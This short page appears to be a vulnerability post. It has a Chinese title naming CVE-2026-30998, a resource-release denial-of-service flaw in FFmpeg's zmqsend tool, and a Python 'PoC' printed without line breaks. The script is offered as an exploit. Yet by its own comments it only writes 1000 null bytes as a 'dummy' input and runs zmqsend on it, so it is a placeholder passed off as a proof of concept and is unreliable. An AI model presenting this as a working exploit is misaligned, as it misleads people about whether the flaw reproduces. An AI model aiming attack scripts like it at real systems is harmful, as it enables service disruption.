CVE-2026-30998 FFmpeg资源释放不当导致拒绝服务漏洞

import subprocess import os # PoC for CVE-2026-30998 # This script demonstrates triggering the resource leak in FFmpeg's zmqsend tool. def generate_crafted_input(filename): """Generate a crafted input file that may trigger the vulnerability.""" # In a real scenario, specific bytes or structure are required. # Here we create a dummy file to simulate the attack vector. with open(filename, 'wb') as f: f.write(b'\x00' * 1000) def exploit(): input_file = 'crafted_input.bin' generate_crafted_input(input_file) # Path to the vulnerable zmqsend binary zmqsend_path = './ffmpeg/tools/zmqsend' if os.path.exists(zmqsend_path): print(f"[*] Triggering {zmqsend_path} with crafted input...") try: # Execute the vulnerable component with the crafted input # The vulnerability occurs when the tool processes the file and fails to close resources subprocess.call([zmqsend_path, '-f', input_file]) print("[+] Execution finished. Check system resources (lsof) for leaks.") except Exception as e: print(f"[-] Error during execution: {e}") else: print(f"[-] Binary not found at {zmqsend_path}") if __name__ == '__main__': exploit()